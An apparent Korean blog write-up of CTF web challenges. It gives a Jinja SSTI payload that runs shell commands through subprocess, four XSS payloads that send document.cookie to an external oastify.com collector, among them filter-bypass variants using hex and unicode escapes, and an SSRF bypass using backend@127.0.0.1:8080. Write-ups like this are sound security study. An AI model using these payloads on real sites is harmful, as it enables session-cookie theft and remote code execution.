Casin0ps
닉네임과 이메일이 csv export시 그대로 엑셀에 담기기에 회원가입시 SSTI구문을 이용하면 rce가 가능하여 플래그 획득
닉네임:test{{
이메일:request.application.__globals__.__builtins__.__import__('subprocess').getoutput('cat .passwd')}}
Press Me If U Can
버튼누르면 플래그획득, 크롬 개발자도구 콘솔창을 이용해 해당 버튼을 disable되어있던걸 활성화해주고 클릭하면획득
XSS Lab
1단계 기본적인 xss
<script>location.href="http://1y0hajpz25sppwaq3a5yfu0uyl4cs2gr.oastify.com/"+document.cookie</script>
2단계 <script> 문자열필터 img태그로 뚝딱
<img src=x onerror='location.href="http://1y0hajpz25sppwaq3a5yfu0uyl4cs2gr.oastify.com/"+document.cookie'/>
3단계
- :// 차단 (일반 URL 차단)
- script 키워드 차단
- 모든 on*= 이벤트 핸들러 차단
이므로 //을 통해 자동으로 가게 해주고, script는 2단계 활용, on필터정규식은 대소문자 구분x이므로 대문자활용
<img src=x OnError='location.href="//1y0hajpz25sppwaq3a5yfu0uyl4cs2gr.oastify.com/"+document.cookie'/>
4단계
- 슬래시 (/)
- 따옴표 (", ', `)
- document, cookie 키워드
- + 기호
- 이벤트 핸들러
- script 태그
차단하므로
document.cookie 문자는 유니코드로 변환
url의경우 16진수값으로
onerror="" 처리대신 onerror=location=url식으로 변환후 처리
+기호의 경우 concat함수로 문자열 붙이기 대체
(16진수값은 문자열내에서 처리, 유니코드는 javascript단에서 처리)
<img src=x onerror=location='\x2F\x2F\x31\x79\x30\x68\x61\x6A\x70\x7A\x32\x35\x73\x70\x70\x77\x61\x71\x33\x61\x35\x79\x66\x75\x30\x75\x79\x6C\x34\x63\x73\x32\x67\x72\x2E\x6F\x61\x73\x74\x69\x66\x79\x2E\x63\x6F\x6D\x2F'.concat(window.\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074.\u0063\u006F\u006F\u006B\u0069\u0065)>
Blog
'"`{%00;$Foo}
blog파라미터를 통해 데이터를 불러오는데 해당 테스트데이터 입력시 에러메시지 노출
blog[]=123
다음처럼 배열로 변환시 에러노출되면서 http로 시작해야되는것을 알게되고 ssrf시작
http://127.0.0.1
입력시 backend가 붙어야한다 리턴
http://backend@127.0.0.1
시 문제 홈페이지 코드노출
http://backend@127.0.0.1:8080
다음과같이 8080포트로 요청시 플래그획득
'웹' 카테고리의 다른 글
Breach CTF-web-Framework Follies (0) | 2025.04.11 |
---|---|
nodejs로 파일 업로드 필터링 우회 방법 (0) | 2025.04.09 |
dicectf-web-공부 (0) | 2025.04.08 |
Codegate2025-공부 (0) | 2025.04.02 |
codegate 2025-Masquerade (0) | 2025.03.30 |